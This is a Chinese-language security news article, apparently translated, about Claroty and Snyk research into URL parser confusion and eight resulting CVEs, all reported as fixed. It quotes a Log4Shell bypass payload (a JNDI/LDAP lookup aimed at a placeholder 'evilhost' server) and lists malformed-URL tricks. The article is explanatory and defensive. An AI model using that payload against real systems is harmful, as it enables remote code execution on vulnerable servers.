研究员在对16种不同的URL解析库进行研究时发现了不一致和混淆,这可能被用来绕过验证,并且易受到黑客的攻击。

在一项由 *** 安全公司 Claroty 和 Synk 联合进行的深入分析中,他们在许多第三方库中发现八个安全漏洞,这些漏洞是用 C、 JavaScript、 PHP、 Python 和 Ruby 语言编写的,并被多个 web 应用程序使用。

研究人员在与 The Hacker News 共享的一份报告中表示: “ URL 解析中的混乱可能会导致软件中出现意想不到的情况(比如 web 应用程序) ,并可能被攻击者利用来导致拒绝服务情况、信息泄露,或者可能造成远程代码执行攻击。”

由于 URL 是一种基本机制,可以请求和检索位于本地或 *** 上的资源,解析库阐释 URL 请求的差异可能会给用户带来重大风险。

一个典型的例子是上个月在无处不在的 Log4j 日志框架中披露的 Log4Shell 漏洞,这个缺陷的原理是这样的,即当一个易受攻击的应用程序对一个恶意攻击者控制的字符串进行日志记录时,该字符串会导致一个 JNDI 查找,该字符串连接到一个攻击者操作的服务器,并执行任意的 Java 代码。

尽管美国 Apache软件基金会安全局(ASF)很快提出了一个修复方案来解决这个问题,但是很快就发现通过”${jndi:ldap://127.0.0[.]1#.evilhost.com:1389/a}” 格式的特制输入可以绕过这个方案,再次允许远程 JNDI 查找实现代码执行。

“这种绕过原理是这样的,即两个不同的(!)URL 解析器在 JNDI 查找过程中被使用了 ,一个解析器用于验证 URL,另一个解析器用于获取 URL,并且根据每个解析器如何处理 URL 的片段部分(#) ,权限也会发生变化,”研究人员说。

具体来说,如果输入被视为一个常规的 HTTP URL,Authority 组件(域名和端口号的组合)将在遇到片段标识符时结束,而如果将其视为一个 LDAP URL,解析器将分配整个”127.0.0[.]1#.evilhost.com:1389″作为权限,因为 LDP URL 规范没有说明片段。

实际上,能够发现这八个漏洞有两个主要原因,使用多个解析器是其一,另一个原因是当库遵循不同的 URL 规范时出现不一致问题时,实际上引入了一个可利用的漏洞。

混淆中不协调的URL包含反斜杠(“\”),不规则的斜杠数量(例如, https:///www.example[.]com)或者 URL 编码数据(“%”),有的URL缺少 URL 方案,这可能被用来获得远程代码执行,甚至出现拒绝服务(DoS)和开放重定向钓鱼攻击。

发现的8个漏洞列表如下,所有这些漏洞都已经由各自的维护者解决了

  • Belledonne’s SIP Stack (C, CVE-2021-33056)
  • Video.js (JavaScript, CVE-2021-23414)
  • Nagios XI (PHP, CVE-2021-37352)
  • Flask-security (Python, CVE-2021-23385)
  • Flask-security-too (Python, CVE-2021-32618)
  • Flask-unchained (Python, CVE-2021-23393)
  • Flask-User (Python, CVE-2021-23401)
  • Clearance (Ruby, CVE-2021-23435)

“许多现实生活中的攻击场景可能来自不同的解析原语,”研究人员说。为了保护应用程序不受 URL 解析漏洞的影响,“有必要充分了解是什么解析器参与了整个过程,解析器之间的区别,它们如何解释不同的错误 URL,以及它们支持什么类型的 URL。”